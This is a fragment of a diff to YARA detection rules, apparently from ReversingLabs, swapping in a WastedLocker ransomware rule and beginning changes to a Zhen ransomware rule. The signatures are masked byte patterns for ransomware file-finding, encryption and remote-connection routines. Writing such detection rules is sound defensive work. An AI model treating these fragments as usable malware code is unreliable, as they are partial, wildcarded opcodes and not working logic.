-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 50 8D 4D ?? E8 ?? ?? ?? ?? 53 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 6A ?? 8D 4D
+		$remote_connection_p2 = {
+            C0 89 44 24 ?? 0F 88 ?? ?? ?? ?? 8B 8B ?? ?? ?? ?? 74 ?? A1 ?? ?? ?? ?? 89 CB 85 C0
+            75 ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 74 24 ?? 6A ?? 50 E8
+            ?? ?? ?? ?? 85 C0 89 D9 75 ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 5C 24 ?? 89 44 24 ??
+            53 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 89 F1 8D 54 24 ?? 89 44 24 ?? 89 5C 24
+            ?? 89 5C 24 ?? C6 44 24 ?? ?? E8 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ??
+            ?? 8B 84 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ??
+            ?? ?? ?? 3D ?? ?? ?? ?? 0F 43 C1 6A ?? 50 53 FF 74 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 89
+            44 24 ?? 75 ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 74 ?? 53 6A ?? FF 35 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 83 7C 24 ?? ?? 74 ?? FF 74 24 ?? 6A ?? FF 35 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 5C 24 ?? 0F 84 ?? ?? ?? ?? 80 BB ?? ?? ?? ??
+            ?? 0F 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB
         }
-		$ol_do_filetypes_3 = {
-            ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B CC 89 65 ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ??
-            89 65 ?? 8D 45 ?? 83 EC ?? 8B CC 50 E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ??
-            81 C4 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 53 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 89 65 ?? 50 E8 ??
-            ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C6 ?? 83 C4 ?? 3B 77 ?? 0F
-            85 1C FF FF FF 8B 4D ?? 8B 7D ?? 8B 3F 89 7D ?? 3B F9 0F 85 F5 FE FF FF 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45
-            ?? ?? 8D 85 ?? ?? ?? ?? 89 65 ?? 8B CC BA ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC E8 ?? ?? ?? ?? C6 45
-            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 8B CC 89 65 ?? BA ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B
-            CC E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 33 F6 8D 8D
-            ?? ?? ?? ?? 53 46 56 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 53 56 8D 4D ?? E8 ?? ?? ?? ?? 53 56 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ??
-            E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 53 56 8D 4D ?? E8 ?? ??
-            ?? ?? 8B 4D ?? 5F 5E 64 89 0D ?? ?? ?? ?? 5B 8B E5 5D C3
+		$enum_procs = {
+            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 39 F7 74 ??
+            69 C7 ?? ?? ?? ?? 89 4D ?? 01 C8 68 ?? ?? ?? ?? 89 DE 53 50 E8 ?? ?? ?? ?? 83 C4 ??
+            47 8D 85 ?? ?? ?? ?? 89 7D ?? 50 8B 5D ?? 53 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 89
+            F3 89 C6 EB ?? 8D 4D ?? 89 F2 E8 ?? ?? ?? ?? 8B 4D ?? 8B 7D ?? EB ?? 31 FF 8B 75 ??
+            85 FF 75 ?? E9 ?? ?? ?? ?? 31 FF 53 E8 ?? ?? ?? ?? 8B 75 ?? 85 FF 0F 84 ?? ?? ?? ??
+            83 7D ?? ?? 0F 84 ?? ?? ?? ?? 69 C7 ?? ?? ?? ?? 8B 4D ?? 8D BD ?? ?? ?? ?? 01 F0 89
+            45 ?? 8B 45 ?? 8D 04 40 8D 04 81 89 45 ?? EB
         }
-		$ol_ecies_key_1 = {
-            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 53 56 57 8B F9 33 DB 89 5D ?? 8D 8D ?? ?? ?? ?? 89 7D ?? 89 5D ?? E8 ??
-            ?? ?? ?? 33 F6 8D 85 ?? ?? ?? ?? 46 8D 8D ?? ?? ?? ?? 50 BA ?? ?? ?? ?? 89 75 ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B
-            CC 8B D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 56 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ??
-            ?? ?? BE ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 50 56 FF 75 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 85 C0 0F 85 40 03 00 00 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 50 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 51
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? 8B B4 05 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? FF 50 ?? 50 8B 85 ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03 C8 FF 56 ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D
-            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? FF 50 ?? 8D 55 ?? 8B C8 E8 ?? ?? ?? ?? 53 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? BB ??
-            ?? ?? ?? 8D 4D ?? 53 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? FF 50 ?? 83 7D ?? ?? 8D 4D ?? 8B F0
-            0F 43 4D ?? 51 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 95 ?? ?? ?? ?? 8B 06 52 8B 48 ?? 03 CE 8B 01 FF 50 ??
-            C6 45 ?? ?? 8B 8D ?? ?? ?? ?? 85 C9 74 0D 8B 01 6A ?? 8B 40 ?? 03 C8 8B 01 FF 10 33 F6 C6 45 ?? ?? 56 6A ?? 8D 4D ?? E8
-            ?? ?? ?? ?? 83 EC ?? 8B CC 53 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ??
+		$find_files = {
+            57 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 53 56 E8 ?? ?? ??
+            ?? 83 F8 ?? 89 45 ?? 0F 84 ?? ?? ?? ?? 89 75 ?? A1 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ??
+            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? A3 ?? ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 85 C0 0F
+            84 ?? ?? ?? ?? 89 C6 8B 45 ?? 8B 4D ?? 89 46 ?? 8B 45 ?? 89 46 ?? 8B 45 ?? 89 46 ??
+            8D 41 ?? C7 06 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 89 CB 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 8B 45 ?? 89 43 ?? 89 73 ?? 8B 75 ?? 31 C0 C7 43 ?? ?? ?? ?? ?? F7 45
+            ?? ?? ?? ?? ?? 89 03 75 ?? 83 7D ?? ?? 74 ?? 57 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 74 ?? 83 7D ?? ?? 74 ?? FF 75 ?? 6A ?? FF 35 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5E 5F 5B 5D C3
         }
-		$ol_ecies_key_2 = {
-            56 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8B CC 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 53
-            E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45
-            ?? ?? 50 8D 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 59 50 8D 4D ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ??
-            56 E8 ?? ?? ?? ?? 59 50 56 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 E8
-            ?? ?? ?? ?? 59 50 56 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 56
-            E8 ?? ?? ?? ?? 59 50 56 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 33 F6 C6 45 ?? ?? 56 50 8D 4D ?? E8 ?? ??
-            ?? ?? 56 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC BA ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 95 ?? ?? ?? ?? 8B CC 89 65 ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 53 E8 ??
-            ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 56 6A ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 4D ?? E8 ?? ?? ?? ??
-            56 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+		$encrypt_files_p1 = {
+            B8 ?? ?? ?? ?? 8D 4D ?? 8D 95 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 7D ?? 8B 75
+            ?? 8D 4D ?? 89 FA 56 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 8B 5D ?? 89
+            45 ?? 8B 45 ?? 83 F8 ?? 72 ?? 85 DB 74 ?? 0F B7 0B 81 F9 ?? ?? ?? ?? 75 ?? 8B 4B ??
+            89 C2 29 CA 72 ?? 83 FA ?? 72 ?? 85 DB 74 ?? 81 3C 0B ?? ?? ?? ?? 75 ?? 0F B7 54 0B
+            ?? 81 FA ?? ?? ?? ?? 75 ?? 0F B7 54 0B ?? 83 EA ?? 89 55 ?? BA ?? ?? ?? ?? 19 D2 89
+            55 ?? 72 ?? 83 F9 ?? 76
         }
-		$ol_ecies_key_3 = {
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? EB 30 83 EC ?? 8D 55 ?? 8B CC 89 65 ?? E8
-            ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC BB ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 51 8D 4F ??
-            E8 ?? ?? ?? ?? 8D 77 ?? C7 07 ?? ?? ?? ?? C7 06 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 53 8D 4D ?? C7 45 ?? ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8D 46 ?? C6 45 ?? ?? 85 C0 74 05 8D 4E ?? EB 02 33 C9 8D 55 ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? C6 45 ?? ??
-            E8 ?? ?? ?? ?? 8B 06 8B CE FF 50 ?? 6A ?? 68 ?? ?? ?? ?? 8B 08 8B 49 ?? 03 C8 8B 01 FF 50 ?? 53 E8 ?? ?? ?? ?? 59 6A ??
-            6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B C7 5F 5E 64 89 0D ?? ?? ?? ?? 5B
-            8B E5 5D C3
+		$encrypt_files_p2 = {
+            53 E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 5D ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 57
+            6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 51 ?? 29 D0 8B 55 ?? 0F 92
+            45 ?? 83 7D ?? ?? 75 ?? 80 7D ?? ?? 75 ?? 39 C2 77 ?? B8 ?? ?? ?? ?? F7 64 0B ?? 8B
+            55 ?? 70 ?? 39 C2 72 ?? 8B 44 0B ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 45 ?? 8B 85 ??
+            ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ??
+            89 45 ?? 89 10 89 48 ?? 8B 45 ?? 89 45 ?? 53 E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ??
+            8B 45 ?? 8B 4D ?? 29 45 ?? 3B 4D ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? E8 ?? ?? ??
+            ?? 8B 45 ?? 8B 4D ?? 89 45 ?? 89 4D ?? E9 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B 35 ?? ??
+            ?? ?? 8B 45 ?? F2 0F 10 45 ?? 85 F6 89 85 ?? ?? ?? ?? F2 0F 11 85 ?? ?? ?? ?? 0F 84
+            ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 8D 0C C0 8D 3C 49 01 C7 01 F7 EB
         }
 
 	condition:
-		uint16(0)==0x5A4D and (($ol_do_filetypes_1 and $ol_do_filetypes_2 and $ol_do_filetypes_3) and ($ol_ecies_key_1 and $ol_ecies_key_2 and $ol_ecies_key_3))
+		uint16(0)==0x5A4D and ($enum_procs) and ($find_files) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Zhen : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Wastedlocker : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Zhen ransomware."
+		description = "Yara rule that detects WastedLocker ransomware."
 		author = "ReversingLabs"
-		id = "ce6bc48d-934b-582c-8ce7-3dd595cbf5dd"
-		date = "2021-04-28"
-		modified = "2021-04-28"
+		id = "68090960-9878-5836-8caa-bf8f408a474e"
+		date = "2020-12-07"
+		modified = "2020-12-07"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Zhen.yara#L1-L176"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "17b24e7baeccd90b8695eb8d21d9ee4a317806ed7713252d315d06bee3f93e65"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Wastedlocker.yara#L1-L86"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "0899d3cc3bcea8eae60689a54f34e57bdc52088c879c8420b8e6d0b1969cb186"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -26734,164 +28235,81 @@ rule REVERSINGLABS_Win32_Ransomware_Zhen : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Zhen"
+		tc_detection_name = "WastedLocker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
 		$find_files_p1 = {
-            FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95
-            ?? ?? ?? ?? 8B 4D ?? B8 ?? ?? ?? ?? 2B 41 ?? C1 E0 ?? 8B 4D ?? 8B 49 ?? 03 C8 FF 15
-            ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? 51 6A ?? FF 15 ?? ??
-            ?? ?? 8D 55 ?? 8B 4D ?? 83 C1 ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? 8D 55 ?? 52 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D
-            4D ?? 51 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52
-            E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 8B 4D
+            55 8B EC 83 EC ?? 83 65 ?? ?? 57 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ??
+            ?? ?? 8B F8 85 FF 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 53 8B 5D ?? 8D 04 41 89 45 ??
+            C7 00 ?? ?? ?? ?? 8B 43 ?? 57 51 89 45 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 89 45 ?? 0F 84
+            ?? ?? ?? ?? 56 8D 47 ?? 66 83 38 ?? 75 ?? 0F B7 4F ?? 66 85 C9 0F 84 ?? ?? ?? ?? 66
+            83 F9 ?? 75 ?? 66 83 7F ?? ?? 0F 84 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F0
+            8D 14 0E B8 ?? ?? ?? ?? 3B D0 89 55 ?? 0F 83 ?? ?? ?? ?? F6 07 ?? 0F 85 ?? ?? ?? ??
+            8B 45 ?? 85 C0 74 ?? 83 7F ?? ?? 75 ?? 39 47 ?? 0F 82 ?? ?? ?? ?? 8D 44 36 ?? 50 8D
+            47 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 85 C9 74 ?? 8B 45 ?? 83 C0 ?? 50
+            E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 85 C9 74 ?? 8B 45 ?? 83 C0 ?? 50 E8
+            ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 03 C6 8D 44 00 ?? 83 C0 ?? 50 6A ?? FF
+            35 ?? ?? ?? ?? 89 45 ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? FF 75 ?? 6A
+            ?? 56 E8 ?? ?? ?? ?? 8B 45 ?? 8D 44 00 ?? 50 FF 75 ?? 8D 46 ?? 50 89 76 ?? 89 36 E8
+            ?? ?? ?? ?? 8B 45 ?? 89 46 ?? 8B 45 ?? 89 46 ?? 8B 07 89 46 ?? 8B 47 ?? 89 46 ?? 8B
         }
 		$find_files_p2 = {
-            8B 11 8B 45 ?? 50 FF 92 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 68
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 85
-            ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? 8D 4D ?? 51 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55
-            ?? 52 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 E8
-            ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75
-            ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 11 89 95 ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B C4 8B 4D ?? 89 08 8B 55 ?? 89 50 ?? 8B 4D ?? 89 48 ?? 8B 55
-            ?? 89 50 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C4 8B 4D ?? 89 08 8B 55 ?? 89 50 ?? 8B
-            4D ?? 89 48 ?? 8B 55 ?? 89 50 ?? 8B 85 ?? ?? ?? ?? 8B 08 8B 95 ?? ?? ?? ?? 52 FF 91
-            ?? ?? ?? ?? DB E2 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ??
-            ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? EB ?? 8D
-            4D ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 8D 55 ?? 52 6A ?? FF 15 ?? ?? ??
-            ?? C3 C3 8B 45 ?? 8B 08 8B 55 ?? 52 FF 51 ?? 8B 45 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ??
-            5F 5E 5B 8B E5 5D C2
+            47 ?? 89 46 ?? 8B 47 ?? 89 46 ?? 8B 47 ?? 83 C4 ?? 89 46 ?? 83 3B ?? 74 ?? 53 FF 15
+            ?? ?? ?? ?? 8D 43 ?? 8B 48 ?? 89 06 89 4E ?? 89 31 89 70 ?? FF 43 ?? 83 7B ?? ?? 74
+            ?? 8B 43 ?? 83 F8 ?? 75 ?? FF 73 ?? FF 15 ?? ?? ?? ?? 83 3B ?? 0F 84 ?? ?? ?? ?? 53
+            FF 15 ?? ?? ?? ?? EB ?? C7 45 ?? ?? ?? ?? ?? EB ?? F6 45 ?? ?? 74 ?? 8D 4C 0E ?? 3B
+            C8 73 ?? 8D 04 36 50 8D 47 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 8D 04 41
+            66 83 60 ?? ?? 83 C4 ?? 83 7D ?? ?? 66 C7 00 ?? ?? 74 ?? 83 C1 ?? 51 8B 4D ?? E8 ??
+            ?? ?? ?? 85 C0 75 ?? 8B 4D ?? FF 75 ?? 8B 45 ?? 53 FF 75 ?? 8D 44 06 ?? FF 75 ?? 50
+            51 E8 ?? ?? ?? ?? 89 45 ?? EB ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 ?? F6 45 ?? ??
+            74 ?? 83 65 ?? ?? 83 7D ?? ?? 75 ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 43
+            ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ??
+            ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5E 57 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 5B EB
+            ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 5F C9 C2
         }
 		$encrypt_files_p1 = {
-            55 8B EC 83 EC ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? B8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 53 56 57 89 65 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 08 8B 55 ?? 52 FF 51 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 66 89 45 ?? 8D 4D ?? FF 15 ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 8B 11 52 66 8B 45 ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? 6A ?? 66 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 83 E8 ?? 50 6A ?? 6A ??
-            8D 55 ?? 52 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 66
-            8B 45 ?? 50 8D 4D ?? 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 8B
-            55 ?? 52 FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 8D 4D ?? 51 8B 55 ?? 8B
-            02 8B 4D ?? 51 FF 50 ?? 89 45 ?? 83 7D ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52
-            8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? EB ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 51 FF 15 ?? ?? ?? ?? 66 89 45
